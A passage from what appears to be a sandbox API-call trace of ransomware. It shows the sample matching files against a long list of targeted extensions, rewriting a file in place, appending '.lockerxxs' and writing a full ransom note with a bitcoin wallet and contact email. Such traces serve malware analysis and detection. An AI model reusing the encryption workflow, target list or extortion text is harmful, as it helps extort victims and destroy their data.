returned 0 [0069.839] lstrlenA (lpString="*.qby") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qbj") returned 0 [0069.839] lstrlenA (lpString="*.qbj") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.ofx") returned 0 [0069.839] lstrlenA (lpString="*.ofx") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qif") returned 0 [0069.839] lstrlenA (lpString="*.qif") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.mye") returned 0 [0069.839] lstrlenA (lpString="*.mye") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.mbox") returned 0 [0069.839] lstrlenA (lpString="*.mbox") returned 6 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.eml") returned 0 [0069.839] lstrlenA (lpString="*.eml") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.pst") returned 0 [0069.839] lstrlenA (lpString="*.pst") returned 5 [0069.840] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.ost") returned 0 [0069.840] lstrlenA (lpString="*.ost") returned 5 [0069.840] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.idx") returned 0 [0069.840] lstrlenA (lpString="*.idx") returned 5 [0069.840] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.dbx") returned 0 [0069.840] lstrlenA (lpString="*.dbx") returned 5 [0069.840] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.sql") returned 0 [0069.840] lstrlenA (lpString="*.sql") returned 5 [0069.840] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.mdb") returned 0 [0069.840] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" [0069.840] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" [0069.840] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html." [0069.840] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.lockerxxs" [0069.840] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.842] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc490 [0069.842] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81ce9900, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0069.842] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.842] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc46a, lpOverlapped=0x0) returned 1 [0069.846] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html") returned="license.html" [0069.846] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.846] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc46a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc46a, lpOverlapped=0x0) returned 1 [0069.847] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.847] CloseHandle (hObject=0x94) returned 1 [0069.860] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html.lockerxxs")) returned 1 [0069.862] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.862] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.862] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="HUN", cAlternateFileName="")) returned 1 [0069.862] lstrcmpA (lpString1=".", lpString2="HUN") returned -1 [0069.862] lstrcmpA (lpString1="..", lpString2="HUN") returned -1 [0069.862] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.862] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="HUN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" [0069.863] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.863] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.863] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.863] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.863] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.863] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81c9d640, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.864] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.864] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.864] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.864] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.864] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*.*") returned="*.*" [0069.864] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" [0069.864] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="" [0069.864] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\HOW TO DECRYPT FILES.txt" [0069.864] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\how to decrypt files.txt")) returned 0xffffffff [0069.864] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.865] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.865] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.867] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.867] CloseHandle (hObject=0x94) returned 1 [0069.867] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini" [0069.867] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.ems") returned 0 [0069.867] lstrlenA (lpString="*.ems") returned 5 [0069.867] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.db") returned 0 [0069.867] lstrlenA (lpString="*.db") returned 4 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.dbf") returned 0 [0069.868] lstrlenA (lpString="*.dbf") returned 5 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.myox") returned 0 [0069.868] lstrlenA (lpString="*.myox") returned 6 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.myo") returned 0 [0069.868] lstrlenA (lpString="*.myo") returned 5 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qbw") returned 0 [0069.868] lstrlenA (lpString="*.qbw") returned 5 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qbb") returned 0 [0069.868] lstrlenA (lpString="*.qbb") returned 5 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qbm") returned 0 [0069.868] lstrlenA (lpString="*.qbm") returned 5 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qbo") returned 0 [0069.868] lstrlenA (lpString="*.qbo") returned 5 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qbx") returned 0 [0069.868] lstrlenA (lpString="*.qbx") returned 5 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qba") returned 0 [0069.868] lstrlenA (lpString="*.qba") returned 5 [0069.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qby") returned 0 [0069.868] lstrlenA (lpString="*.qby") returned 5 [0069.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qbj") returned 0 [0069.869] lstrlenA (lpString="*.qbj") returned 5 [0069.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.ofx") returned 0 [0069.869] lstrlenA (lpString="*.ofx") returned 5 [0069.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.qif") returned 0 [0069.869] lstrlenA (lpString="*.qif") returned 5 [0069.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.mye") returned 0 [0069.869] lstrlenA (lpString="*.mye") returned 5 [0069.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.mbox") returned 0 [0069.869] lstrlenA (lpString="*.mbox") returned 6 [0069.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.eml") returned 0 [0069.869] lstrlenA (lpString="*.eml") returned 5 [0069.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.pst") returned 0 [0069.870] lstrlenA (lpString="*.pst") returned 5 [0069.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.ost") returned 0 [0069.870] lstrlenA (lpString="*.ost") returned 5 [0069.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.idx") returned 0 [0069.870] lstrlenA (lpString="*.idx") returned 5 [0069.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.dbx") returned 0 [0069.870] lstrlenA (lpString="*.dbx") returned 5 [0069.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.sql") returned 0 [0069.870] lstrlenA (lpString="*.sql") returned 5 [0069.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.mdb") returned 0 [0069.871] lstrlenA (lpString="*.mdb") returned 5 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.fdb") returned 0 [0069.871] lstrlenA (lpString="*.fdb") returned 5 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.wab") returned 0 [0069.871] lstrlenA (lpString="*.wab") returned 5 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.dat") returned 0 [0069.871] lstrlenA (lpString="*.dat") returned 5 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.txt") returned 0 [0069.871] lstrlenA (lpString="*.txt") returned 5 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.871] lstrlenA (lpString="*.jpeg") returned 6 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.jpg") returned 0 [0069.871] lstrlenA (lpString="*.jpg") returned 5 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.png") returned 0 [0069.871] lstrlenA (lpString="*.png") returned 5 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.php") returned 0 [0069.871] lstrlenA (lpString="*.php") returned 5 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.cs") returned 0 [0069.871] lstrlenA (lpString="*.cs") returned 4 [0069.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.cpp") returned 0 [0069.872] lstrlenA (lpString="*.cpp") returned 5 [0069.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.rar") returned 0 [0069.872] lstrlenA (lpString="*.rar") returned 5 [0069.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.zip") returned 0 [0069.872] lstrlenA (lpString="*.zip") returned 5 [0069.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.html") returned 0 [0069.872] lstrlenA (lpString="*.html") returned 6 [0069.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.htm") returned 0 [0069.872] lstrlenA (lpString="*.htm") returned 5 [0069.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.872] lstrlenA (lpString="*.xlsx") returned 6 [0069.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.xls") returned 0 [0069.872] lstrlenA (lpString="*.xls") returned 5 [0069.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.mp4") returned 0 [0069.872] lstrlenA (lpString="*.mp4") returned 5 [0069.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.ppt") returned 0 [0069.872] lstrlenA (lpString="*.ppt") returned 5 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.pptx") returned 0 [0069.873] lstrlenA (lpString="*.pptx") returned 6 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.doc") returned 0 [0069.873] lstrlenA (lpString="*.doc") returned 5 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.dot") returned 0 [0069.873] lstrlenA (lpString="*.dot") returned 5 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.docx") returned 0 [0069.873] lstrlenA (lpString="*.docx") returned 6 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.7z") returned 0 [0069.873] lstrlenA (lpString="*.7z") returned 4 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.tar") returned 0 [0069.873] lstrlenA (lpString="*.tar") returned 5 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.bz2") returned 0 [0069.873] lstrlenA (lpString="*.bz2") returned 5 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.gz") returned 0 [0069.873] lstrlenA (lpString="*.gz") returned 4 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.mkv") returned 0 [0069.873] lstrlenA (lpString="*.mkv") returned 5 [0069.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.eml") returned 0 [0069.873] lstrlenA (lpString="*.eml") returned 5 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.msg") returned 0 [0069.874] lstrlenA (lpString="*.msg") returned 5 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.edb") returned 0 [0069.874] lstrlenA (lpString="*.edb") returned 5 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.accdb") returned 0 [0069.874] lstrlenA (lpString="*.accdb") returned 7 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.odb") returned 0 [0069.874] lstrlenA (lpString="*.odb") returned 5 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.java") returned 0 [0069.874] lstrlenA (lpString="*.java") returned 6 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.asm") returned 0 [0069.874] lstrlenA (lpString="*.asm") returned 5 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.pfx") returned 0 [0069.874] lstrlenA (lpString="*.pfx") returned 5 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.pem") returned 0 [0069.874] lstrlenA (lpString="*.pem") returned 5 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.p12") returned 0 [0069.874] lstrlenA (lpString="*.p12") returned 5 [0069.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.gpg") returned 0 [0069.875] lstrlenA (lpString="*.gpg") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.vsd") returned 0 [0069.875] lstrlenA (lpString="*.vsd") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", pszSpec="*.odg") returned 0 [0069.875] lstrlenA (lpString="*.odg") returned 5 [0069.875] PathMatchSpecA (pszFile="C:\\Program Files 